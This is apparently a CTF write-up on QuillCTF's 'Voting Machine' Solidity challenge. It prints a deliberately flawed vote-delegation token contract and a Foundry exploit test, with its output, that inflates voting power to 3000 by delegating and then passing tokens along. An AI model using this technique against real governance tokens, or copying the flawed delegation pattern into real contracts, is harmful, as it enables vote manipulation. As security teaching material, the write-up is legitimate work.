Skip to main content

QuillCTF - Voting Machine

· 5 min read
Kaan Caglan

Voting Machine is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 contract and one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

Accumulate at least 3000 votes in your hacker address. You don’t have any tokens in your wallet.

After trying all attempts and failing, you decided to perform a phishing attack and you successfully obtained the private keys from three users: Alice, Bob, and Carl.

Fortunately, Alice had 1000 vTokens, but Bob and Carl don’t have any tokens in their accounts. (see foundry setUp)

Now that you have access to the private keys of Alice, Bob, and Carl's accounts. So, try again.

So we have private keys for 4 user, Alice, Bob, Carl, and hacker. Our objective is to get 1000 vTokens and also get 3000 vote delegation in our hacker wallet.

pragma solidity 0.8.12;

import "@openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract VoteToken is ERC20("Vote Token", "vToken") {

address public owner;

modifier onlyOwner() {
require(owner == msg.sender);
_;
}

constructor() {
owner = msg.sender;
}

function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}

function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
_moveDelegates(_delegates[_from], address(0), _amount);
}


mapping(address => address) internal _delegates;

struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}


function _moveDelegates(address from, address to, uint256 amount) internal {
if (from != to && amount > 0) {
if (from != address(0)) {
uint32 fromNum = numCheckpoints[from];
uint256 fromOld = fromNum > 0 ? checkpoints[from][fromNum - 1].votes : 0;
uint256 fromNew = fromOld - amount;
_writeCheckpoint(from, fromNum, fromOld, fromNew);
}

if (to != address(0)) {
uint32 toNum = numCheckpoints[to];
uint256 toOld = toNum > 0 ? checkpoints[to][toNum - 1].votes : 0;
uint256 toNew = toOld + amount;
_writeCheckpoint(to, toNum, toOld, toNew);
}
}
}

mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
mapping(address => uint32) public numCheckpoints;

function delegates(address _addr) external view returns (address) {
return _delegates[_addr];
}

function delegate(address _addr) external {
return _delegate(msg.sender, _addr);
}


function getVotes(address _addr) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[_addr];
return nCheckpoints > 0 ? checkpoints[_addr][nCheckpoints - 1].votes : 0;
}

function _delegate(address _addr, address delegatee) internal {
address currentDelegate = _delegates[_addr];
uint256 _addrBalance = balanceOf(_addr);
_delegates[_addr] = delegatee;
_moveDelegates(currentDelegate, delegatee, _addrBalance);
}


function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint32 blockNumber = uint32(block.number);

if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
}
}

Since we have the private key of alice we can obtain 1000 vTokens easily with one easy transfer call vToken.transfer(hacker, vToken.balanceOf(alice));. However we also need to accumulate 3000 votes in our hacker address. If we take a look to the contract we can see that there is a delegate function which allows us to delegate our votes to any other user. That delegate function is calling _delegate and it calls _moveDelegates which is also calling _writeCheckpoint function. It can be seen that whenever any user calls delegate function it overwrites the current delegation settings with the new given delegatee address. So we can't call this delegate function 3 times to achieve 3000 votes. However the getVotes function is not checking if the already given checkpoints are still valid or not. Which means if alice delegates her vote power to bob and transfers her balance to bob, bob will still have 1000 votes and also he will have 1000 vTokens. We can crack this with transfering balances over and over again.

POC

  • Alice gives delegates to hacker and transfers her vTokens to bob
  • Now bob has 1000 vTokens and hacker has 1000 delegate power
  • Bob gives delegates to hacker and transfers his vTokens to carl
  • Now carl has 1000 vTokens and hacker has 2000 delegate power
  • Carl gives delegates to hacker and transfer his vTokens to hacker
  • Now hacker has 3000 vTokens and also 1000 vTokens
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.12;

import "forge-std/Test.sol";
import "../src/VotingMachine.sol";

contract exploitTest is Test {
VoteToken vToken;
address public owner = address(0);
address public hacker =address(1337);

address public alice= address(1);
address public bob = address(2);
address public carl = address(3);

function setUp() public {
vm.startPrank(owner);
vToken = new VoteToken();
vToken.mint(alice, 1000);
vm.stopPrank();
}

function testExploit() public {
vm.startPrank(alice);

// soluiton
vToken.delegate(hacker);
vToken.transfer(bob, vToken.balanceOf(alice));

vm.stopPrank();

vm.startPrank(bob);
vToken.delegate(hacker);
vToken.transfer(carl, vToken.balanceOf(bob));


vm.stopPrank();

vm.startPrank(carl);
vToken.delegate(hacker);
vToken.transfer(hacker, vToken.balanceOf(carl));

vm.stopPrank();

uint hacker_vote = vToken.getVotes(hacker);
console.log("Vote Count of Hacker before attack: %s ", hacker_vote);

uint hacker_balance= vToken.balanceOf(hacker);
console.log("Hacker's vToken after the attack: %s: ", hacker_balance);

assertEq(hacker_vote , 3000);
assertEq(hacker_balance, 1000);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.12
[] Solc 0.8.12 finished in 1.27s
Compiler run successful (with warnings)
warning[5667]: Warning: Unused function parameter. Remove or comment out the variable name to silence this warning.
--> src/VotingMachine.sol:80:71:
|
80 | function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
| ^^^^^^^^^^^^^^^^




Running 1 test for test/VotingMachine.t.sol:exploitTest
[PASS] testExploit() (gas: 206573)
Logs:
Vote Count of Hacker before attack: 3000
Hacker's vToken after the attack: 1000:

Test result: ok. 1 passed; 0 failed; finished in 1.20ms